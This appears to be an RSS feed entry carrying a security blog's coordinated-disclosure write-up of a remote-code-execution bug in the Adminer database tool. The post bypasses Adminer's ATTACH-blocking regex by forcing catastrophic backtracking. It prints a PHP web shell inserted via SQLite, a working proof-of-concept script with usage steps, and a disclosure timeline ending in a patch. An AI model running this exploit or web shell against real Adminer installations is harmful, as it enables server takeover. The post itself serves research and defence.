<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Sqlite on Sorcery Blog</title><link>/tags/sqlite/</link><description>Sorcery Blog (Sqlite)</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Wed, 29 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="/tags/sqlite/index.xml" rel="self" type="application/rss+xml"/><item><title>Adminer - SQLite RCE Regex Filter Bypass</title><link>/posts/adminer_sqlite_rce_regex_bypass/</link><pubDate>Wed, 29 Jul 2026 00:00:00 +0000</pubDate><guid>/posts/adminer_sqlite_rce_regex_bypass/</guid><description>&lt;p&gt;Adminer is a PHP database management tool. It has support for running queries on SQLite databases.
In versions 4.2.4 and before it was possible to get RCE using the SQLite functionality by creating a database file with the &lt;code&gt;.php&lt;/code&gt; extension and inserting PHP code like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ATTACH &lt;span style="color:#66d9ef"&gt;DATABASE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;shell.php&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;AS&lt;/span&gt; lol;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; lol.pwn (dataz text);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;INSERT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;INTO&lt;/span&gt; lol.pwn ( dataz) &lt;span style="color:#66d9ef"&gt;VALUES&lt;/span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;?php system($_GET[&amp;#34;command&amp;#34;]); ?&amp;gt;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This would result in a SQLite database called lol.php being created in the same directory as the adminer.php and visiting it would execute the PHP code as the PHP interpeter will ignore the the SQLite binary data surrounding the PHP code.&lt;/p&gt;
&lt;p&gt;To patch this Adminer was changed to require a password for all database types and they added a regex to block queries using &lt;code&gt;ATTACH&lt;/code&gt; in this &lt;a href="https://github.com/vrana/adminer/commit/a5b65fba5b4f420651a9e388c5702c101d85d7d9"&gt;commit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The code is effectively:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$pattern &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;~^(?:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;s|/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;*[\s\S]*?&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;*/|(?:#|--)[^&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;]*&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;?|--&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;?&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;)*+ATTACH&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;b~i&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;($pattern, $query, $match)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;PHP&amp;rsquo;s &lt;code&gt;preg_match&lt;/code&gt; has this interesting behaviour where it returns 1 on match, 0 on no match and false on failure.
A failure can be triggered using &lt;a href="https://www.regular-expressions.info/catastrophic.html"&gt;Catastrophic Backtracking&lt;/a&gt;, this will cause &lt;code&gt;preg_match&lt;/code&gt; to return false when the backtracking limit is reached and then we can bypass the filter. The patch for this is to explicitly check the return value is &lt;code&gt; !== 0&lt;/code&gt;, this way if it errors it will block it correctly.&lt;/p&gt;
&lt;p&gt;This is the same issue I found in &lt;a href="https://blog.sorcery.ie/posts/mybb_acp_rce/"&gt;CVE-2023-41362 RCE in MyBB templates&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The method I used to reach the backtrack limit in this case is putting lots of empty SQLite comment lines before the payload.&lt;/p&gt;
&lt;h1 id="proof-of-concept" &gt;Proof of Concept
&lt;/h1&gt;&lt;p&gt;The following script generates the payload SQL file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$payload &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;END&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ATTACH DATABASE &amp;#39;lol.php&amp;#39; AS lol;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;CREATE TABLE lol.pwn (dataz text);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;INSERT INTO lol.pwn (dataz) VALUES (&amp;#39;&amp;lt;?php phpinfo(); ?&amp;gt;&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;END&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str_repeat&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;--&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;PHP_EOL&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;350000&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$payload;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run it like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;php exploit.php &amp;gt; exploit.sql
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It generates a file with many SQLite comments before the payload code, this makes the regex backtrack many times until it hits the backtrack limit at which point preg_match returns false.&lt;/p&gt;
&lt;p&gt;Open Adminer and import/upload the exploit.sql file into the SQLite query page.&lt;/p&gt;
&lt;p&gt;On success it will say &lt;code&gt;3 queries executed OK.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you check the adminer.php directory you will see a file called &lt;code&gt;lol.php&lt;/code&gt; with the phpinfo code within it.&lt;/p&gt;
&lt;h1 id="other-notes" &gt;Other Notes
&lt;/h1&gt;&lt;p&gt;In this same Adminer version update 3 other bugs discovered by &lt;a href="https://blog.voorivex.team/three-0-day-vulnerabilities-in-adminer"&gt;Voorivex&lt;/a&gt; were patched, one of which is in the same regex filter.
They bypass it in a different way by using &lt;code&gt;VACUUM INTO&lt;/code&gt; instead of &lt;code&gt;ATTACH&lt;/code&gt; to get the file write.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;25/09/2025&lt;/td&gt;
&lt;td&gt;Reported to ZDI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24/02/2026&lt;/td&gt;
&lt;td&gt;Report accepted and rewarded by ZDI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06/03/2026&lt;/td&gt;
&lt;td&gt;ZDI disclosed details to vendor and assigns id ZDI-CAN-28201&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09/07/2026&lt;/td&gt;
&lt;td&gt;Patched in Adminer 5.4.3 (&lt;a href="https://github.com/vrana/adminer/commit/b4aa9160355279f63ce191dc8c571bd204e266ee"&gt;commit&lt;/a&gt;) with &lt;a href="https://github.com/vrana/adminer/security/advisories/GHSA-3582-q6xq-5vf7"&gt;advisory&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29/07/2026&lt;/td&gt;
&lt;td&gt;Blog post released - no CVE assigned currently&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item></channel></rss>